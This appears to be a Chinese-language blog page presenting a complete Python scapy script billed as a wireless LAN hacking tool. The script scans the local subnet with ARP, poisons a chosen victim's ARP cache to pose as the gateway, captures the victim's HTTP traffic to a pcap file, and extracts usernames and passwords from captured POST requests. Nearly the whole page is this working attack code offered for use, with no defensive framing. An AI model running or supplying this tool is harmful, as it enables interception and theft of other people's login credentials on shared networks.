無線局域網嗅探小工具

#無線局域網黑客工具
from scapy.all import *
import os
import time
import re
from threading import Thread

#獲取上網的ip和網關
route=os.popen("route print").read()        #route print 命令顯示本機的路由表
gateway,ip=re.search(r"0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s+(\S+)",route).groups()
        #seach匹配一次,groups函數將所有匹配結果都取出,group函數的區別
print("本機ip:",ip)
print("上網網關:",gateway)
rdict={}

#在局域網內進行主機發現
def scan():
    global rdict        #使用全局變量rdict
    IpScan = ip+"/24"
    print("掃描中,請稍候...")
    ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan),timeout=2,verbose=0,iface="Intel(R) Wireless-AC 9462")
    print("本次掃描一共掃描到%d臺主機:" % len(ans))
    for send,recv in ans:
        print("%s----%s"%(recv.src,recv.psrc))
        rdict[recv.psrc] = recv.src 
def cap(ip,tc):
    pkts=sniff(iface="Intel(R) Wireless-AC 9462",filter=f"tcp port 80 and src host {ip}",timeout=tc)
    wrpcap("demo.pcap",pkts)
    print("攻擊完成!")
def spoof():
    vict=input("要攻擊的ip:")
    st=int(input("攻擊時間(秒):"))
    t=Thread(target=cap,args=(vict,st))
    t.start()
    for i in range(st*5):
        sendp(Ether(dst=rdict[vict])/ARP(pdst=vict,psrc=gateway),verbose=0,iface="Intel(R) Wireless-AC 9462")        
        #pdst=vict,psrc=gateway ,這裏將源地址改爲網關地址,用來欺騙目標主機,讓它認爲我是網關
        #sendp(Ether(dst=rdict[gateway])/ARP(pdst=gateway,psrc=vict),verbose=0,iface="Intel(R) Wireless-AC 9462")
        time.sleep(0.2)     #每隔兩秒發送一次欺騙包
        
def mima():     #對獲取的數據進行分析(可以更改過濾條件來分析不同的數據包)
    pkts=rdpcap("demo.pcap")
    for p in pkts:
        if p.haslayer(IP) and p.haslayer(Raw):  #取出每一個含有原始數據的IP數據包
            try:
                inf=p.load.decode(errors="ignore")  #取出數據包裏的p.load字段數據
                if inf.startswith("POST"):      #判斷數據是否以POST方式提交
                    url=re.findall(r"Referer: (.+)",inf)    #取出所有Referer字段後的網址
                    if url:
                        print(time.ctime(p.time))   #用p.time取出p中的時間字段,time.ctime以我們能看懂的格式輸出
                        print(url[0])
                        print("用戶名:",re.search(r"[uU]serName=(.+?)&",inf).group(1)) #用正則表達式取出需要的信息
                        print("密碼:",re.search(r"[pP]assWord=([^&]+)",inf).group(1))
            except Exception as e:
                print(e)
                pass
def main():
    while 1:
        print("功能列表:")
        print("1 局域網掃描")
        print("2 ARP攻擊")
        print("3 密碼分析")
        print("4 退出")
        while 1:
            sel=input("你的操作:")
            if sel in list("1234"):
                break
            print("輸入有誤!")
        if sel=="4":
            exit()
        elif sel=="1":
            scan()
        elif sel=="2":
            spoof()
        else:
            mima()
    print("再見!")
if __name__=="__main__":
    main()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章